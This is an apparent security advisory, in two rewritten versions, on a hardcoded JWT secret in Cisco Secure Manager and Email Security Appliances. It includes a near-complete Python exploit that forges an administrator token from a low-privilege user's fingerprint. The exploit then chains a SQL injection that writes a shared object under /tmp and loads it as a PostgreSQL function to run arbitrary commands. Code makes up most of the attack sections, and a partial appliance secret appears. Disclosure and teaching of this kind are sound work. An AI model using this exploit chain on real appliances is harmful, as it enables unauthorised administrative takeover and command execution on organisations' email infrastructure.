SSD Advisory – Cisco Secure Manager Appliance jwt_api_impl Hardcoded JWT Secret Elevation of Privilege
The appliance uses a hardcoded secret key to sign JWT tokens, so an attacker who knows the key can forge tokens and impersonate any user, including administrators. Authentication as a low-privilege user is required to obtain the fingerprint values needed to make the forged token valid.
A vulnerability allows remote attackers to elevate privileges on affected installations of Cisco Secure Manager Appliance and Cisco Email Security Appliance. Authentication is required to exploit this vulnerability.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Cisco Secure Manager Appliance and Cisco Email Security Appliance expose a newer web interface. According to the advisory, every request to that interface is handled by nginx on port 4431, which acts as a reverse proxy to a Python back-end. The Python server processes the HTTP requests and returns a result.
The flaw described here sits in the jwt_api_impl module. That module is responsible for issuing and validating the JSON Web Tokens the interface uses to identify a session. The problem is that the tokens are signed with a static secret key baked into the code, so anyone who knows that key can mint tokens for any user, including an administrator.
The advisory covers two CVEs, CVE-2022-20867 and CVE-2022-20868. A second vulnerability was published alongside this one, a SQL injection in remediation_request_utils that leads to remote code execution. The two are independent: neither requires the other to be exploited. However, a user with low privileges can combine them to obtain full admin privileges on an affected system. The exploit below does exactly that, using the JWT flaw to escalate and the SQL injection to run commands.
Authentication is required to exploit the JWT issue. The credit goes to Alex Birnberg (@alexbirnberg), who reported it through the SSD Secure Disclosure program.
Setup
To reach the vulnerable code path you need a valid low-privilege account on the appliance. That account is used twice: first to log in normally and obtain a genuine token, and then as the source of the fingerprint fields that the forged admin token must reproduce.
The exploit is a Python 3 script that uses requests, urllib3, jwt, json, time, random, string, base64, datetime and argparse. It takes four arguments: the target URL, the username and password of the low-privilege user, and the command to execute. TLS verification is disabled in the session (self.s.verify = False) and the insecure request warning is suppressed.
The script defines DEVICE_TYPE = 'sma' and embeds the JWT secret for the Secure Manager Appliance:
JWT_SECRET = '[redacted]='
It also carries a list, PG_SYSTEM, of base64-encoded shared objects that are written to disk through the SQL injection and later loaded as a PostgreSQL C function.
Finding it
The advisory walks through the relevant source code. The processing entry point for POST requests reads the body and hands it to a shared validation routine:
def do_POST(self):
content_len = int(self.headers.getheader('content-length', 0))
request_body = self.rfile.read(content_len)
self._validate_and_return_request_handler(http_verb_method=PROCESS_POST, request_body=request_body) # 1
That routine, _validate_and_return_request_handler, decides whether a request needs authentication and then tries several authentication schemes. One of them is JWT:
def _validate_and_return_request_handler(self, http_verb_method, request_body=None):
global SERVER_SESSION_ID
self.refresh_token = None
self.message_digest = None
is_auth_needed = False
try:
parsed_uri = urlparse.urlparse(self.path)
# ...
elif not (request_handler_helper.is_url_request_in_list(parsed_uri, OPEN_ACCESS_API_LIST) or hasattr(handler_obj, 'csrf_token_valid') and handler_obj.csrf_token_valid(uri_ctx.subpath, uri_ctx.query) or request_handler_helper.check_url_path_in_request(parsed_uri, LOGIN_API_URL) or self.client_address[0] == LOCALHOST_IP and not is_auth_needed): # 2
# ...
elif jwt_constants.JWT_PARAM_JWT_TOKEN in self.headers:
is_authenticated = self.validate_jwt(uri_ctx) # 3
If the jwtToken header is present, validate_jwt is called. That method pulls the token out of the headers, reads an optional email query parameter, and looks at the user email and message ID headers before decoding the token and checking its fingerprint:
def validate_jwt(self, uri_ctx):
input_token = None
query_email = None
mid = -1
user_email = None
try:
input_token = request_handler_helper.extract_token(self.headers)
query_string_data = urlparse.parse_qs(uri_ctx.parsed_uri.query, keep_blank_values=True)
if query_string_data and 'email' in query_string_data:
query_email = query_string_data.get('email')
if USER_EMAIL_HEADER in self.headers:
user_email = self.headers[USER_EMAIL_HEADER]
if MID_HEADER in self.headers:
mid = self.headers[MID_HEADER]
if input_token:
token = jwt_util.decode_token(input_token) # 4
validate_input_fingerprint(uri_ctx.input_fingerprint, token) # 5
The decoding itself is where the static secret shows up:
def decode_token(token):
payload = None
try:
payload = jwt.decode(token, login_util.decode(jwt_constants.JWT_SECRET), algorithms=jwt_constants.JWT_ALGORITHM)
except ExpiredSignatureError:
raise JwtException(jwt_constants.ERROR_JWT_EXPIRED_SIGNATURE_ERROR, httplib.UNAUTHORIZED)
except InvalidIssuerError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_ISSUER_ERROR, httplib.UNAUTHORIZED)
except InvalidAudienceError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_AUDIENCE_ERROR, httplib.UNAUTHORIZED)
except InvalidTokenError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_TOKEN_ERROR, httplib.UNAUTHORIZED)
return payload
Because jwt_constants.JWT_SECRET is a constant, any attacker who knows it can sign arbitrary tokens and impersonate any user. The relevant constants are:
ERROR_EXPIRY_MUST_BE_INT = 'Expiration Time claim (exp) must be an integer.'
JWT_ALGORITHM = 'HS256'
JWT_SECRET = '[redacted]='
JWT_PARAM_USER_NAME = 'userName'
JWT_PARAM_EXPIRY = 'exp'
On Cisco Email Security Appliances the secret has a different value:
[redacted]/cy9yXWZbT3lE
There is a second check that a forged token must satisfy. validate_input_fingerprint compares the fingerprint computed for the incoming request against a cookie claim inside the token:
def validate_input_fingerprint(input_fingerprint, token):
if not token or jwt_constants.JWT_PARAM_COOKIE not in token:
raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
if token and jwt_constants.JWT_PARAM_COOKIE in token and input_fingerprint != token[jwt_constants.JWT_PARAM_COOKIE]:
raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
The server-side fingerprint is built from several request and server properties:
input_fingerprint = jwt_api_impl.get_input_fingerprint({'user_name': self.current_user, 'server_host': self.headers.get('Host'),
'user_agent': self.headers.get('User-Agent'),
'sys_desc': request_handler_helper.get_system_description(),
'accept': self.headers.get(ACCEPT),
'server_session_id': str(SERVER_SESSION_ID),
'client_ip': fp_client_ip,
'email_for_fingerprint': email_for_fingerprint})
Two of those fields, sys_desc and server_session_id, are unpredictable enough that the flaw cannot be used to bypass authentication from scratch. But a low-privilege user who logs in legitimately receives a token containing the fingerprint, and from it can recover the values needed to reproduce the fingerprint for an admin token.
Exploitation
Step 1: log in as the low-privilege user
The script posts base64-encoded credentials to the login endpoint and stores the returned JWT:
def login(self):
data = {
'data': {
'userName': base64.b64encode(self.username.encode('latin-1')).decode('latin-1'),
'passphrase': base64.b64encode(self.password.encode('latin-1')).decode('latin-1')
}
}
r = self.s.post(self.url + '/' + DEVICE_TYPE +
'/api/v2.0/login', data=json.dumps(data))
if r.status_code != 200:
return False
response = json.loads(r.content)
self.jwt_token = response['data']['jwtToken']
return True
A non-200 response aborts the run. On success the token is taken from data.jwtToken in the JSON body.
Step 2: recover the fingerprint fields from the genuine token
The cookie claim in the real token is a nested base64 structure. The script decodes the JWT payload, base64-decodes the cookie claim, and splits it on the literal separator n; to recover the server host, client IP, user agent, server session ID and system description:
def eop(self):
def encode(s):
s = base64.b64encode(str(s).encode('latin-1')).decode('latin-1')
chunks = [s[i:i+76] for i in range(0, len(s), 76)]
return 'n'.join(chunks)
def decode(s):
return base64.b64decode(s.replace('n', '')).decode('latin-1')
try:
token = json.loads(base64.b64decode(self.jwt_token.split('.')[1]))
except:
try:
token = json.loads(base64.b64decode(
self.jwt_token.split('.')[1] + '='))
except:
try:
token = json.loads(base64.b64decode(
self.jwt_token.split('.')[1] + '=='))
except:
return False
cookie = decode(token['cookie'])
server_host = decode(cookie.split('n;')[0])
client_ip = decode(cookie.split('n;')[1])
user_agent = decode(cookie.split('n;')[2])
server_session_id = decode(cookie.split('n;')[3])
system_description = decode(cookie.split('n;')[4])
The padding retries handle base64 payloads whose length is not a multiple of four.
Step 3: forge an admin token
The recovered fields are re-encoded, with the user name replaced by admin and the accept header set to application/json, text/plain, */*, and assembled into a new cookie claim. The payload sets userName to admin, disables the two-factor check, and gives the token a 48-hour lifetime:
admin_cookie = encode('n;'.join([
encode(server_host),
encode(client_ip),
encode(user_agent),
encode(server_session_id),
encode(system_description),
encode('admin'),
encode('application/json, text/plain, */*')
]) + 'n;') + 'n'
admin_token = {
'userName': 'admin',
'is2FactorCheckRequired': False,
'cookie': admin_cookie,
'user': 'NONEUQ',
'sessionEndTime': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48,
'exp': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48
}
admin_token = jwt.encode(admin_token, base64.b64decode(JWT_SECRET))
headers = {
'jwtToken': admin_token
}
r = self.s.get(self.url + '/' + DEVICE_TYPE +
'/api/v2.0/login/privileges', headers=headers)
self.jwt_token = admin_token
return r.status_code == 200
The token is signed with the hardcoded secret and sent in the jwtToken header to /api/v2.0/login/privileges. A 200 response confirms the escalation, and the forged token replaces the original for the rest of the run.
Step 4: command execution through the SQL injection
With admin rights, the script abuses the SQL injection in the remediation endpoint. A helper wraps each query in a crafted batch_id and posts it to /api/v2.0/remediation with the forged token:
def rce(self):
def sqli(query):
headers = {
'jwtToken': self.jwt_token
}
data = {
'data': {
'batch_id': ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '', 0, 0, 0, 0, 0, 0, 0, 0, 0); ' + query + ' ;-- ',
'action': 'delete',
'initiated_username': 'x',
'batch_name': 'x',
'message_details': [
{
'mid': [1],
'from_email': ['[redacted]'],
'ip': '[redacted]',
'subject': 'x',
'sent_at': 1,
'recipient_email': ['[redacted]']
}
]
}
}
self.s.post(self.url + '/' + DEVICE_TYPE + '/api/v2.0/remediation',
headers=headers, data=json.dumps(data))
time.sleep(0.5)
The sequence of queries creates a large object, fills it page by page with the base64-decoded shared objects from PG_SYSTEM, exports it to a random path under /tmp, unlinks the large object, drops the temporary table, and finally creates and calls a C function named pg_system that runs the supplied command:
loid = ''.join(random.choice(string.ascii_letters) for _ in range(8))
shell_path = '/tmp/' +
''.join(random.choice(string.ascii_letters)
for _ in range(8)) + '.so'
sqli('SELECT lo_create(0) INTO ' + loid)
for i in range(len(PG_SYSTEM)):
sqli('INSERT INTO pg_largeobject (loid, pageno, data) VALUES ((SELECT * FROM ' +
loid + '), ' + str(i) + ', (DECODE('' + PG_SYSTEM[i] + '', 'base64')))')
sqli('SELECT lo_export((SELECT * FROM ' + loid + '), '' + shell_path + '')')
sqli('SELECT lo_unlink((SELECT * FROM ' + loid + '))')
sqli('DROP TABLE ' + loid)
time.sleep(5)
sqli('CREATE OR REPLACE FUNCTION pg_system(TEXT) RETURNS INTEGER AS '' +
shell_path + '','pg_system' LANGUAGE C STRICT')
sqli('SELECT pg_system('' + self.command + '')')
return True
The cleanup method is a stub that returns True. The trigger method runs login, escalation, command execution and cleanup in order, printing progress and exiting on the first failure.
Root cause
The JWT signing key is a compile-time constant, JWT_SECRET, shared across installations and used directly by decode_token to verify tokens. Because the algorithm is HS256, a symmetric algorithm, knowing the secret is enough to produce valid signatures. The only additional barrier is the fingerprint comparison in validate_input_fingerprint, and that barrier is defeated by reading the fingerprint out of a token issued to a legitimate low-privilege user. The fingerprint mixes in sys_desc and server_session_id, which are unpredictable to an outside attacker, but they are not secret from an authenticated user.
Impact
An attacker who holds any valid low-privilege account can forge a token for any user, including an administrator, and impersonate that user on the target server. Combined with the SQL injection published alongside it, this yields full administrative control and command execution on the appliance. The advisory notes that the two vulnerabilities are independent and that neither is required to exploit the other; the combination is what turns low privileges into full admin access.
Fix
Cisco issued a patch for the vulnerability as part of its patches released on 11 November 2022, documented in the Cisco Security Advisory at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esasmawsa-vulns-YRuSW5mD. The advisory does not describe the contents of the patch.
Variants to test
- Search appliance firmware and back-end code for other constants named like
JWT_SECRET,SECRET_KEYor similar, and check whether they are used with symmetric algorithms such asHS256. A positive result is a token you can sign yourself and have accepted by an endpoint that requires authentication. - Decode tokens issued to a low-privilege account and inspect any claim that looks like a fingerprint or session binding. If the claim contains server-side values, try reproducing it in a forged token for a higher-privileged user. A positive result is a 200 response from an endpoint that should require higher privileges.
- Check whether the same secret is reused across product lines. The advisory gives a different secret for the Email Security Appliance; test whether a token signed with one product's secret is accepted by another. A positive result is cross-product token acceptance.
- Look for endpoints that accept a
jwtTokenheader without a corresponding fingerprint check, for example paths in an open-access list. A positive result is a forged token accepted where the fingerprint claim is absent or ignored.
What happened, in plain words
Cisco makes two appliances that sit at the edge of a company's email: the Cisco Secure Manager Appliance and the Cisco Email Security Appliance. Both run a newer web interface that administrators use through a browser. Behind that interface there is a small web server (nginx) that forwards every request to a Python program, which does the real work.
That Python program has to know who is making each request. It does this with a token: a small piece of text the server hands you when you log in, and which you show on every later request, a bit like a wristband you get at a festival. The wristband proves you already showed your ticket at the gate. The token used here is a JWT (JSON Web Token), and the part that matters is that the server signs it with a secret key, so nobody can alter it without being noticed.
The flaw is that the secret key is not random per installation. It is written into the program's source code as a fixed string, the same on every copy of the product. Anyone who learns that string can sign their own tokens, claiming to be any user, including an administrator. That is a hardcoded credential, and it leads to privilege escalation: going from a normal user to an admin.
There is a second vulnerability published at the same time, a SQL injection in a different part of the product that lets an attacker run commands on the machine. The two are independent: you do not need one to use the other. But a user with only low privileges can chain them: use the JWT flaw to become admin, then use the SQL injection to run commands. The exploit script below does exactly that.
You still need a valid low-privilege account to start. The advisory credits Alex Birnberg (@alexbirnberg), who reported it through the SSD Secure Disclosure program. Two CVE identifiers are attached: CVE-2022-20867 and CVE-2022-20868.
Background: the pieces you need to recognise
Before walking through the code, here are the ideas that come up again and again.
- API: a way for one program to talk to another over the network. When your browser loads a page from the appliance, it often calls API addresses such as
/api/v2.0/loginbehind the scenes. The reply is usually data in JSON, a text format that looks like{"name": "value"}. - HTTP request and response: your browser sends a request (a method such as GET or POST, a path, some headers, sometimes a body) and the server sends back a response with a status code.
200means OK;401means not authorised. - Header: a small labelled line attached to a request, such as
User-Agent(which browser you use) orHost(which site you asked for). The appliance also reads a custom header calledjwtToken. - Cookie: a small piece of data a site stores in your browser so it can recognise you on the next page. Here the word
cookiealso appears as a field inside the token, holding a fingerprint of the request. - JWT (JSON Web Token): a token made of three parts separated by dots: a header, a payload (the claims, such as the user name), and a signature. The signature is produced with a secret key. If you change the payload, the signature no longer matches, and the server rejects the token. Unless, that is, you know the key.
- HS256: the signing method used here. It is symmetric: the same secret is used to sign and to verify. So whoever can verify can also sign.
- Fingerprint: a value computed from details of the request (which server, which client, which browser, and so on). The server recomputes it on each request and compares it with the one stored in the token, to make sure the token is being used from the same context it was issued to.
- Base64: a way of writing arbitrary bytes using only letters, digits and a couple of symbols. It is not encryption; anyone can decode it. It is used here to pack binary data and credentials into text.
- Here it is used to write a file to disk and then load it as a database function.
- Reverse proxy: a server that sits in front of another and forwards requests to it. nginx on port 4431 does this for the Python back-end.
Context: where the flaw lives
Every request to the new web interface is handled by nginx on port 4431, which forwards it to the Python back-end. The Python server processes the HTTP request and returns a result.
The flaw is in a module called jwt_api_impl. That module issues and checks the JWTs the interface uses to identify a session. Because the tokens are signed with a fixed secret baked into the code, anyone who knows that secret can create tokens for any user, including an administrator.
The advisory covers CVE-2022-20867 and CVE-2022-20868. A second vulnerability was published alongside this one, a SQL injection in remediation_request_utils that leads to remote code execution. The two are independent: neither requires the other. But a low-privilege user can combine them to get full admin rights. The exploit below does that: the JWT flaw to escalate, the SQL injection to run commands.
Authentication is required to exploit the JWT issue.
Setup: what you need before starting
You need a valid low-privilege account on the appliance. It is used twice: first to log in normally and get a genuine token, and second as the source of the fingerprint values that the forged admin token must reproduce.
The exploit is a Python 3 script. It uses the libraries requests, urllib3, jwt, json, time, random, string, base64, datetime and argparse. It takes four arguments: the target URL, the username and password of the low-privilege user, and the command to run. TLS verification is turned off in the session (self.s.verify = False) and the warning about insecure requests is suppressed. Turning off TLS verification means the script will not check the server's certificate, so it cannot detect an impersonated server.
The script sets DEVICE_TYPE = 'sma' and embeds the JWT secret for the Secure Manager Appliance:
JWT_SECRET = '[redacted]='
This is the fixed key from the source code. Because it is the same on every installation, it is not a secret at all once the code is public.
The script also carries a list called PG_SYSTEM of base64-encoded shared objects. A shared object is a compiled library file (on Linux, a .so file) that a program can load at runtime. These are written to disk through the SQL injection and later loaded by the database as a C function.
Finding it: how the code was reviewed
The advisory walks through the relevant source code. The entry point for POST requests reads the body and passes it to a shared validation routine:
def do_POST(self):
content_len = int(self.headers.getheader('content-length', 0))
request_body = self.rfile.read(content_len)
self._validate_and_return_request_handler(http_verb_method=PROCESS_POST, request_body=request_body) # 1
Line by line:
def do_POST(self):defines the function that runs whenever a POST request arrives. POST is the method browsers use to submit forms and APIs use to send data.content_len = int(self.headers.getheader('content-length', 0))reads theContent-Lengthheader, which says how many bytes the body contains. If the header is missing, it uses 0.request_body = self.rfile.read(content_len)reads exactly that many bytes from the incoming stream. This is the body of the request.self._validate_and_return_request_handler(...)hands the body to the shared routine, marked# 1in the advisory. That routine decides whether the request is allowed.
That routine, _validate_and_return_request_handler, decides whether a request needs authentication and then tries several authentication schemes. One of them is JWT:
def _validate_and_return_request_handler(self, http_verb_method, request_body=None):
global SERVER_SESSION_ID
self.refresh_token = None
self.message_digest = None
is_auth_needed = False
try:
parsed_uri = urlparse.urlparse(self.path)
# ...
elif not (request_handler_helper.is_url_request_in_list(parsed_uri, OPEN_ACCESS_API_LIST) or hasattr(handler_obj, 'csrf_token_valid') and handler_obj.csrf_token_valid(uri_ctx.subpath, uri_ctx.query) or request_handler_helper.check_url_path_in_request(parsed_uri, LOGIN_API_URL) or self.client_address[0] == LOCALHOST_IP and not is_auth_needed): # 2
# ...
elif jwt_constants.JWT_PARAM_JWT_TOKEN in self.headers:
is_authenticated = self.validate_jwt(uri_ctx) # 3
Line by line:
global SERVER_SESSION_IDsays this function will read or change a session identifier shared across the whole server. That value later becomes part of the fingerprint.self.refresh_token = Noneandself.message_digest = Nonereset two per-request fields.is_auth_needed = Falsestarts from the assumption that authentication is not needed, and the code below decides otherwise.parsed_uri = urlparse.urlparse(self.path)splits the requested path into its parts (path, query string, and so on).- The long
elif not (...)line, marked# 2, is the decision point. It checks whether the request is on an open-access list, whether it carries a valid CSRF token (a token that protects against cross-site request forgery), whether it is the login URL, or whether it comes from localhost. If none of those apply, the request needs authentication. elif jwt_constants.JWT_PARAM_JWT_TOKEN in self.headers:checks whether the request has ajwtTokenheader. If so,self.validate_jwt(uri_ctx)is called, marked# 3, to check the token.
If the jwtToken header is present, validate_jwt is called. It pulls the token out of the headers, reads an optional email query parameter, looks at the user email and message ID headers, then decodes the token and checks its fingerprint:
def validate_jwt(self, uri_ctx):
input_token = None
query_email = None
mid = -1
user_email = None
try:
input_token = request_handler_helper.extract_token(self.headers)
query_string_data = urlparse.parse_qs(uri_ctx.parsed_uri.query, keep_blank_values=True)
if query_string_data and 'email' in query_string_data:
query_email = query_string_data.get('email')
if USER_EMAIL_HEADER in self.headers:
user_email = self.headers[USER_EMAIL_HEADER]
if MID_HEADER in self.headers:
mid = self.headers[MID_HEADER]
if input_token:
token = jwt_util.decode_token(input_token) # 4
validate_input_fingerprint(uri_ctx.input_fingerprint, token) # 5
Line by line:
- The first four lines set up empty defaults: no token, no email, a message ID of -1, no user email.
input_token = request_handler_helper.extract_token(self.headers)pulls the token text out of the request headers.query_string_data = urlparse.parse_qs(...)parses the part of the URL after the?, which can carry parameters such as?email=....- The next block reads an
emailparameter if present, and reads the user email and message ID from their headers if present. These are extra pieces of context the server may use. if input_token:only proceeds if a token was actually found.token = jwt_util.decode_token(input_token)decodes and verifies the token, marked# 4. This is where the secret is used.validate_input_fingerprint(uri_ctx.input_fingerprint, token)compares the fingerprint computed for this request with the one stored in the token, marked# 5.
The decoding itself is where the static secret shows up:
def decode_token(token):
payload = None
try:
payload = jwt.decode(token, login_util.decode(jwt_constants.JWT_SECRET), algorithms=jwt_constants.JWT_ALGORITHM)
except ExpiredSignatureError:
raise JwtException(jwt_constants.ERROR_JWT_EXPIRED_SIGNATURE_ERROR, httplib.UNAUTHORIZED)
except InvalidIssuerError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_ISSUER_ERROR, httplib.UNAUTHORIZED)
except InvalidAudienceError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_AUDIENCE_ERROR, httplib.UNAUTHORIZED)
except InvalidTokenError:
raise JwtException(jwt_constants.ERROR_JWT_INVALID_TOKEN_ERROR, httplib.UNAUTHORIZED)
return payload
Line by line:
payload = Noneprepares a variable for the decoded contents.jwt.decode(token, login_util.decode(jwt_constants.JWT_SECRET), algorithms=jwt_constants.JWT_ALGORITHM)is the key line. It takes the token, the secret key (decoded from the constant), and the allowed algorithm, and checks the signature. If the signature matches, it returns the payload.- The
exceptblocks catch specific failures: an expired token, a wrong issuer, a wrong audience, or any other invalid token. Each one raises an error that maps to HTTP 401, meaning not authorised. In plain terms, the server is careful about why a token is rejected, but it trusts the key completely. return payloadgives back the decoded claims.
Because jwt_constants.JWT_SECRET is a constant, any attacker who knows it can sign arbitrary tokens and impersonate any user. The relevant constants are:
ERROR_EXPIRY_MUST_BE_INT = 'Expiration Time claim (exp) must be an integer.'
JWT_ALGORITHM = 'HS256'
JWT_SECRET = '[redacted]='
JWT_PARAM_USER_NAME = 'userName'
JWT_PARAM_EXPIRY = 'exp'
Line by line:
ERROR_EXPIRY_MUST_BE_INTis an error message used when the expiry field is not a whole number.JWT_ALGORITHM = 'HS256'fixes the signing method to HS256, the symmetric one described above.JWT_SECRETis the fixed key. This is the root of the problem.JWT_PARAM_USER_NAME = 'userName'andJWT_PARAM_EXPIRY = 'exp'are the names of two fields inside the token: who the user is, and when the token expires.
On Cisco Email Security Appliances the secret has a different value:
[redacted]/cy9yXWZbT3lE
Different product, different fixed string, same problem: it is still baked into the code.
There is a second check that a forged token must satisfy. validate_input_fingerprint compares the fingerprint computed for the incoming request against a cookie claim inside the token:
def validate_input_fingerprint(input_fingerprint, token):
if not token or jwt_constants.JWT_PARAM_COOKIE not in token:
raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
if token and jwt_constants.JWT_PARAM_COOKIE in token and input_fingerprint != token[jwt_constants.JWT_PARAM_COOKIE]:
raise JwtException('Unauthorized request', httplib.UNAUTHORIZED)
Line by line:
- The first
ifrejects the request if there is no token, or if the token has nocookiefield. The error is "Unauthorized request" with status 401. - The second
ifcompares the fingerprint the server just computed with the one stored in the token'scookiefield. If they differ, the request is rejected the same way.
So even with the secret, you cannot simply make up a token: the cookie field must match what the server expects for this particular request. That is the extra hurdle.
The server-side fingerprint is built from several request and server properties:
input_fingerprint = jwt_api_impl.get_input_fingerprint({'user_name': self.current_user, 'server_host': self.headers.get('Host'),
'user_agent': self.headers.get('User-Agent'),
'sys_desc': request_handler_helper.get_system_description(),
'accept': self.headers.get(ACCEPT),
'server_session_id': str(SERVER_SESSION_ID),
'client_ip': fp_client_ip,
'email_for_fingerprint': email_for_fingerprint})
Line by line:
user_nameis the currently logged-in user.server_hostis theHostheader, i.e. the name the browser used to reach the appliance.user_agentis the browser identification string.sys_descis a system description obtained from the server itself.acceptis theAcceptheader, which lists the content types the client can handle.server_session_idis the server-wide session identifier mentioned earlier.client_ipis the client's IP address.email_for_fingerprintis an email value used in the fingerprint.
All of these are combined into one value. Two of them, sys_desc and server_session_id, are unpredictable enough that the flaw cannot be used to bypass authentication from scratch. But a low-privilege user who logs in legitimately receives a token containing the fingerprint, and from it can recover the values needed to reproduce the fingerprint for an admin token. In other words, the hurdle is not a wall: it is a locked door whose key is handed to anyone who logs in.
Exploitation
Step 1: log in as the low-privilege user
The script posts base64-encoded credentials to the login endpoint and stores the returned JWT:
def login(self):
data = {
'data': {
'userName': base64.b64encode(self.username.encode('latin-1')).decode('latin-1'),
'passphrase': base64.b64encode(self.password.encode('latin-1')).decode('latin-1')
}
}
r = self.s.post(self.url + '/' + DEVICE_TYPE +
'/api/v2.0/login', data=json.dumps(data))
if r.status_code != 200:
return False
response = json.loads(r.content)
self.jwt_token = response['data']['jwtToken']
return True
Line by line:
datais a dictionary with a single keydata, holding the user name and passphrase. Both are base64-encoded first. Base64 is not encryption; it just makes the text safe to embed in JSON.self.s.post(...)sends a POST to<url>/sma/api/v2.0/loginwith the JSON body.DEVICE_TYPEissma, so the path is built from it.if r.status_code != 200: return Falsestops if the login did not succeed. A 200 means OK.response = json.loads(r.content)turns the reply body into a Python dictionary.self.jwt_token = response['data']['jwtToken']saves the genuine token for the next step.
Why this step: the script needs a real token, because that token contains the fingerprint values that the forged admin token must match.
Step 2: recover the fingerprint fields from the genuine token
The cookie claim in the real token is a nested base64 structure. The script decodes the JWT payload, base64-decodes the cookie claim, and splits it on the literal separator n; to recover the server host, client IP, user agent, server session ID and system description:
def eop(self):
def encode(s):
s = base64.b64encode(str(s).encode('latin-1')).decode('latin-1')
chunks = [s[i:i+76] for i in range(0, len(s), 76)]
return 'n'.join(chunks)
def decode(s):
return base64.b64decode(s.replace('n', '')).decode('latin-1')
try:
token = json.loads(base64.b64decode(self.jwt_token.split('.')[1]))
except:
try:
token = json.loads(base64.b64decode(
self.jwt_token.split('.')[1] + '='))
except:
try:
token = json.loads(base64.b64decode(
self.jwt_token.split('.')[1] + '=='))
except:
return False
cookie = decode(token['cookie'])
server_host = decode(cookie.split('n;')[0])
client_ip = decode(cookie.split('n;')[1])
user_agent = decode(cookie.split('n;')[2])
server_session_id = decode(cookie.split('n;')[3])
system_description = decode(cookie.split('n;')[4])
Line by line:
encode(s)base64-encodes a string, then breaks the result into chunks of 76 characters and joins them with the lettern. This is the format the appliance uses inside thecookieclaim.decode(s)does the reverse: it removes thencharacters and base64-decodes the rest.self.jwt_token.split('.')[1]takes the middle part of the JWT, which is the payload. The three parts of a JWT are separated by dots.base64.b64decode(...)decodes that payload, andjson.loads(...)turns it into a dictionary. The nestedtryblocks retry with one or two=padding characters, because base64 needs the input length to be a multiple of four. If all three attempts fail, the function returnsFalse.cookie = decode(token['cookie'])decodes thecookiefield inside the payload.- The five
decode(cookie.split('n;')[i])lines split the decoded cookie on the literaln;and decode each piece: server host, client IP, user agent, server session ID, system description. These are exactly the values the server will use to recompute the fingerprint.
Why this step: the forged token must carry a cookie claim that matches what the server computes for the request. The only reliable way to get those values is to read them out of a token the server itself issued.
Step 3: forge an admin token
The recovered fields are re-encoded, with the user name replaced by admin and the accept header set to application/json, text/plain, */*, and assembled into a new cookie claim. The payload sets userName to admin, disables the two-factor check, and gives the token a 48-hour lifetime:
admin_cookie = encode('n;'.join([
encode(server_host),
encode(client_ip),
encode(user_agent),
encode(server_session_id),
encode(system_description),
encode('admin'),
encode('application/json, text/plain, */*')
]) + 'n;') + 'n'
admin_token = {
'userName': 'admin',
'is2FactorCheckRequired': False,
'cookie': admin_cookie,
'user': 'NONEUQ',
'sessionEndTime': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48,
'exp': int(datetime.datetime.utcnow().timestamp()) + 3600 * 48
}
admin_token = jwt.encode(admin_token, base64.b64decode(JWT_SECRET))
headers = {
'jwtToken': admin_token
}
r = self.s.get(self.url + '/' + DEVICE_TYPE +
'/api/v2.0/login/privileges', headers=headers)
self.jwt_token = admin_token
return r.status_code == 200
Line by line:
admin_cookieis built by joining seven encoded pieces withn;: the five recovered values, then the stringadminin place of the user name, then the accept header. The result is wrapped in the samen;andnpadding the appliance uses.admin_tokenis the payload dictionary.userNameisadmin.is2FactorCheckRequiredis set toFalse, so the server will not ask for a second factor.cookieis the fingerprint built above.userisNONEUQ.sessionEndTimeandexpare both set to the current time plus 48 hours (3600 seconds times 48), so the token stays valid for two days.jwt.encode(admin_token, base64.b64decode(JWT_SECRET))signs the payload with the hardcoded secret. This is the step that only works because the secret is known.headers = {'jwtToken': admin_token}puts the forged token in the header the server looks for.self.s.get(...)calls/sma/api/v2.0/login/privilegeswith that header. This endpoint reports the privileges of the current user, so a 200 response means the server accepted the forged token as an admin.self.jwt_token = admin_tokenreplaces the genuine token with the forged one for the rest of the run.
Why this step: this is the privilege escalation itself. The script is not guessing a password or finding a bug in the login form; it is creating a token the server will trust because it was signed with the server's own key.
Step 4: command execution through the SQL injection
With admin rights, the script abuses the SQL injection in the remediation endpoint. A helper wraps each query in a crafted batch_id and posts it to /api/v2.0/remediation with the forged token:
def rce(self):
def sqli(query):
headers = {
'jwtToken': self.jwt_token
}
data = {
'data': {
'batch_id': ''.join(random.choice(string.ascii_letters) for _ in range(8)) + '', 0, 0, 0, 0, 0, 0, 0, 0, 0); ' + query + ' ;-- ',
'action': 'delete',
'initiated_username': 'x',
'batch_name': 'x',
'message_details': [
{
'mid': [1],
'from_email': ['[redacted]'],
'ip': '[redacted]',
'subject': 'x',
'sent_at': 1,
'recipient_email': ['[redacted]']
}
]
}
}
self.s.post(self.url + '/' + DEVICE_TYPE + '/api/v2.0/remediation',
headers=headers, data=json.dumps(data))
time.sleep(0.5)
Line by line:
sqli(query)is a helper that sends one SQL fragment. It takes the query text as an argument.headers = {'jwtToken': self.jwt_token}uses the forged admin token, because the remediation endpoint requires admin rights.batch_idis the field where the injection happens. The script builds a random eight-letter prefix, then appends'', 0, 0, 0, 0, 0, 0, 0, 0, 0);, then the query, then;--. The);closes the original statement and the--comments out whatever follows, so the injected query runs as its own statement. The random prefix makes each batch look different.- The other fields (
action,initiated_username,batch_name,message_details) are filler so the request looks like a normal remediation request.message_detailscontains a fake message with a made-up sender, recipient, IP and subject. self.s.post(...)sends the JSON to/sma/api/v2.0/remediation.time.sleep(0.5)waits half a second between queries, so the database is not hammered and each statement has time to finish.
The sequence of queries creates a large object, fills it page by page with the base64-decoded shared objects from PG_SYSTEM, exports it to a random path under /tmp, unlinks the large object, drops the temporary table, and finally creates and calls a C function named pg_system that runs the supplied command:
loid = ''.join(random.choice(string.ascii_letters) for _ in range(8))
shell_path = '/tmp/' +
''.join(random.choice(string.ascii_letters)
for _ in range(8)) + '.so'
sqli('SELECT lo_create(0) INTO ' + loid)
for i in range(len(PG_SYSTEM)):
